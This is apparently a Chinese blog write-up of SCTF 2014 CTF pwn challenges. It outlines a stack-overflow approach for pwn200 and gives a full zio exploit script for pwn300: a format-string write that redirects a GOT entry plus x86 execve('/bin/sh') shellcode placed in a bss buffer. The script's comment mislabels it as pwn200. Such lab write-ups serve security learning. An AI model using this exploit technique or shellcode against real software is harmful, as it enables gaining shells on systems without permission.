因为最近要去做ctf比赛的这一块所以就针对性的分析一下近些年的各大比赛的PWN题目。主防项目目前先搁置起来了,等比赛打完再去搞吧。

这次分析的是去年的SCTF的赛题,是我的学长们出的题,个人感觉还是很符合套路的:一道栈溢出、一道格式化字符串、一道堆溢出。

pwn200

一个栈溢出。

题目给出了libc。保护只有nx。

拿到题后的基本思路就是leak出got表中函数的地址,然后拿libc算偏移算出system的地址。然后用这个地址去覆盖一个函数的got表。

pwn300

一个明显的格式化字符串漏洞,格式化字符串本身是在bss段中的,但是又复制到局部数组里了,想必是出题人为了降低难度。这个也给出了libc。但是没有办法像栈溢出那样leak出got表的内容。虽然可以向任意地址写但是却不知道改写入的地址是多少。第二个问题就是参数,要想执行system就得构造/bin/sh这个参数。这个参数怎么搞?

就是说有两个问题摆了出来

1.如何求system的地址,虽然有libc可以算偏移,但是没法leak got表啊
2.如何布置参数,可以写在数据段里,但是怎么作为参数?

解决方法是不使用ret2libc的方法,而是在固定地址的bss里放置shellcode,再把got表指过去。

具体的就是利用了接受留言内容的那个bss缓冲区了。

这样就解决了上面那两个问题

 #SCTF2014 pwn200
#exp by Ox9A82
from zio import *
import time
io=zio('./pwn300') chuan1='\x20\x91\x04\x08%37248c%7$hn\n'
shellcode="\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f" \
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0" \
"\x0b\xcd\x80\n" io.read_until('choice:')
io.write('2\n')
io.read_until('message')
io.write(chuan1)
io.read_until('choice:')
io.write('3\n') io.read_until('choice:')
io.write('2\n')
io.read_until('message')
io.write(shellcode)
io.read_until('choice:')
io.write('4\n') io.interact()

SCTF 2014 pwn题目分析的更多相关文章

  1. SCTF 2015 pwn试题分析

    Re1 是一个简单的字符串加密.程序使用了多个线程,然后进行同步.等加密线程加密好了之后才会启动验证线程.这个题比较坑的是IDA F5出来的结果不对,不知道是不是混淆机制. 刚开始看的是F5后的伪代码 ...

  2. 解决pwn题目加载指定libc版本的问题

    因为本地和远程的libc版本不同,pwn题目调试起来会有影响,所以来记录一下用patchelf和glibc-all-in-one来解决这个问题过程. 下载工具 下载patchelfgit clone ...

  3. BIT 常态化在线CTF系统 pwn题目

    偶然得到这个平台,发现是BIT的CTF平台,应该是平时的阶段性的训练题目.看了看题,其他方向的题目感觉都是入门题,但是pwn题目,发现还是比入门题难一点点的,来记录一下. pwn1 栈上任意位置的读写 ...

  4. SCTF 2014 PWN400 分析

    之前没有分析PWN400,现在再开一篇文章分析一下. 这个日志是我做题的一个笔记,就是说我做一步题就记录一下是实时的.所以说可能会有错误之类的. 首先程序是经典的笔记本程序,基本上一看到这种笔记本就知 ...

  5. ZCTF2015 pwn试题分析

    ZCTF的pwn赛题分析, PWN100 这道题与SCTF的pwn100玩法是一样的,区别在于这个要过前面的几个限制条件.不能触发exit(0).否则就不能实现溢出了. 依然是触发canary来lea ...

  6. Uboot 2014.07 makefile分析 - 其他Cortex系列

    uboot的官网可以通过谷歌搜索得到,显示结果第一个链接就是. 官网:: http://www.denx.de/wiki/U-Boot ftp下载: ftp://ftp.denx.de/pub/u-b ...

  7. 路由器漏洞复现分析第三弹:DVRF INTRO题目分析

    这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...

  8. 二分查找总结及部分Lintcode题目分析 2

    Search in a big sorted array,这个比之前的二分法模板多了一个很不同的特性,就是无法知道一个重要的条件end值,也是题目中强调的重点 The array is so big ...

  9. 【算法】题目分析:Aggressive Cow (POJ 2456)

    题目信息 作者:不详 链接:http://poj.org/problem?id=2456 来源:PKU JudgeOnline Aggressive cows[1] Time Limit: 1000M ...

随机推荐

  1. redis2.8.xx安装配置

    一.简介    Redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合)和zset(有序集 ...

  2. python基础----常用模块

    一 time模块(时间模块)★★★★                                                      时间表现形式 在Python中,通常有这三种方式来表示时 ...

  3. NYOJ--139

    原题链接:http://acm.nyist.net/JudgeOnline/problem.php?pid=139 分析:cantor展开,康托展开用于计算一个排列的序数.公式为: X=a[n]*n! ...

  4. 10.Android UiAutomator Junit 断言函数的使用

    一.断言函数介绍 1.断言函数: 确定被测试的方法是否按照预期的效果正常工作 比如说: if (假设成立){ 通过测试 }else{ 报错并终止当前用例测试 } 2.断言函数用例结构: 一个完整的测试 ...

  5. 手脱ACProtect v1.35(有Stolen Code)

    1.载入PEID ACProtect v1.35 -> risco software Inc. & Anticrack Soft 2.载入OD,需要注意的是,异常选项除了[内存访问异常] ...

  6. 配置:heartbeat+nginx+mysqld+drbd高可用笔记(OK)

    参考资料:http://www.centoscn.com/CentosServer/cluster/2015/0605/5604.html   背景需求: 使用heartbeat来做HA高可用,并且把 ...

  7. struts标签错误:Can not find the tag library descriptor for "http://java.sun.com/jsp/jstl/core"

    今天使用eclipse开发ssh,出现Can not find the tag library descriptor for "http://java.sun.com/jsp/jstl/co ...

  8. OpenCV---Numpy数组的使用以及创建图片

    一:对头像的所有像素进行访问,并UI图像进行像素取反 (一)for循环取反 import cv2 as cv import numpy as np def access_pixels(image): ...

  9. 枚举工具类 EnumUtils

    这是一个枚举工具类,有时候一个枚举自身为空,我们程序在调用他的方法时(如:name(),ordinal()),就会报空指针异常:下面写这个工具类就是为了来避免这些问题的,有些外部引用的没有贴出来,不过 ...

  10. DHCP及DHCP多作用域服务器工作原理

    一.DHCP服务是什么 DHCP称为动态主机配置协议.DHCP服务允许工作站连接到网络并且自动获取一个IP地址.配置DHCP服务的服务器可以为每一个网络客户提供一个IP地址.子网掩码.缺省网关.一个W ...